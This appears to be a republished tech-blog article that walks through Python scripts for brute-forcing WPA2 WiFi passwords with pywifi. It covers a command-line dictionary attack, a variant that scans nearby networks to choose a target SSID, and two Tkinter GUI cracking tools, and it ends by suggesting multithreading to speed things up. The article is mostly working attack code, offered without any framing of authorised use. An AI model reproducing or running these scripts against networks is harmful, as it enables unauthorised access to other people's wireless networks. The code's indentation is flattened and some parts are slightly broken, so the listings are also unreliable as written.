Python Scripts for WiFi Password Brute‑Force Cracking – Command‑Line and Tkinter GUI Implementations
This article demonstrates how to build a Python‑based WiFi password brute‑force tool, first using a command‑line script that reads passwords from a dictionary and attempts connections, then enhancing it with scanning, flexible dictionary selection, and finally providing both a simple and an upgraded Tkinter graphical user interface for interactive cracking.
The article introduces a step‑by‑step guide for creating a WiFi password cracking tool in Python. It begins with a pure command‑line script that imports pywifi , defines wifiConnect(pwd) to attempt a connection, reads passwords from pwd.txt , and reports success or failure.
import pywifi
from pywifi import const
import time
import datetime
# Test connection, return result
def wifiConnect(pwd):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = "Tr0e"
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
# Read password dictionary
def readPassword():
success = False
print("****************** WIFI破解 ******************")
path = "pwd.txt"
file = open(path, "r")
start = datetime.datetime.now()
while True:
try:
pwd = file.readline().strip('\n')
bool = wifiConnect(pwd)
if bool:
print("[*] 密码已破解:", pwd)
print("[*] WiFi已自动连接!!!")
success = True
break
else:
print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s" % ("Tr0e", pwd))
except:
continue
end = datetime.datetime.now()
if(success):
print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))
else:
print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")
exit(0)
if __name__=="__main__":
readPassword()After presenting the basic script, the article adds an optimized version that first scans nearby WiFi networks, displays them sorted by signal strength, and lets the user choose a target SSID. The scanning function wifi_scan() uses interface.scan() and processes scan_results() to build a sorted list.
import pywifi
import time
from pywifi import const
# WiFi scanning module
def wifi_scan():
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.scan()
for i in range(4):
time.sleep(1)
print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
print('\r扫描完成!\n' + '-' * 38)
print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
bss = interface.scan_results()
wifi_name_set = set()
for w in bss:
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)
num = 0
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
return wifi_name_listThe cracking logic is then wrapped in wifi_password_crack(wifi_name) , which reads a user‑specified dictionary, creates a profile for each password, attempts a connection, and stops as soon as the interface reports a successful connection.
To make the tool more user‑friendly, the article provides two graphical interfaces built with Tkinter.
Simple Tkinter UI
from tkinter import *
from pywifi import const
import pywifi, time
# Core connection function
def wificonnect(str, wifiname):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = wifiname
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.key = str
profile.auth = const.AUTH_ALG_OPEN
profile.cipher = const.CIPHER_TYPE_CCMP
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(3)
return ifaces.status() == const.IFACE_CONNECTED
else:
return False
# Read passwords and update UI
def readPwd():
wifiname = entry.get().strip()
file = open(r'./pwd.txt', 'r')
while True:
try:
mystr = file.readline().strip()
bool = wificonnect(mystr, wifiname)
if bool:
text.insert(END, '密码正确' + mystr)
file.close(); break
else:
text.insert(END, '密码错误' + mystr)
except:
continue
# Build window
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
label = Label(root, text='输入要破解的WIFI名称:')
label.grid()
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
root.mainloop()Upgraded Tkinter UI with Treeview
from tkinter import *
from tkinter import ttk
import pywifi, tkinter.filedialog, tkinter.messagebox
from pywifi import const
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
self.get_value = StringVar()
self.get_wifi_value = StringVar()
self.get_wifimm_value = StringVar()
self.wifi = pywifi.PyWiFi()
self.iface = self.wifi.interfaces()[0]
self.iface.disconnect()
time.sleep(1)
def set_init_window(self):
self.init_window_name.title("WIFI破解工具")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200, text="配置")
labelframe.grid(column=0, row=0, padx=10, pady=10)
Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
# ... (other widgets for path, SSID, password) ...
self.wifi_labelframe = LabelFrame(text="wifi列表")
self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a","b","c","d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="signal")
self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
self.wifi_tree.bind("
", self.onDBClick)
self.vbar.grid(row=4, column=1, sticky=NS)
def scans_wifi_list(self):
print("^_^ 开始扫描附近wifi...")
self.iface.scan()
time.sleep(15)
scanres = self.iface.scan_results()
self.show_scans_wifi_list(scanres)
return scanres
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
self.wifi_tree.insert("", 'end', values=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
def onDBClick(self, event):
self.sels = event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
def readPassWord(self):
pwdfilehander = open(self.get_value.get(), "r", errors="ignore")
while True:
try:
self.pwdStr = pwdfilehander.readline()
if not self.pwdStr: break
self.bool1 = self.connect(self.pwdStr, self.get_wifi_value.get())
if self.bool1:
tkinter.messagebox.showinfo('提示', '破解成功!!!')
break
else:
print("[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifi_value.get(), self.pwdStr))
time.sleep(3)
except:
continue
def connect(self, pwd_Str, wifi_ssid):
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid
self.profile.auth = const.AUTH_ALG_OPEN
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
self.profile.cipher = const.CIPHER_TYPE_CCMP
self.profile.key = pwd_Str
self.iface.remove_all_network_profiles()
self.tmp_profile = self.iface.add_network_profile(self.profile)
self.iface.connect(self.tmp_profile)
time.sleep(5)
isOK = self.iface.status() == const.IFACE_CONNECTED
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
ui.set_init_window()
init_window.mainloop()
if __name__ == "__main__":
gui_start()The concluding section notes that both scripts lack multithreading, which would reduce the waiting time caused by the 3‑5 second WiFi connection attempts, and suggests that adding threads is a practical improvement.
Laravel Tech Community
Specializing in Laravel development, we continuously publish fresh content and grow alongside the elegant, stable Laravel framework.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.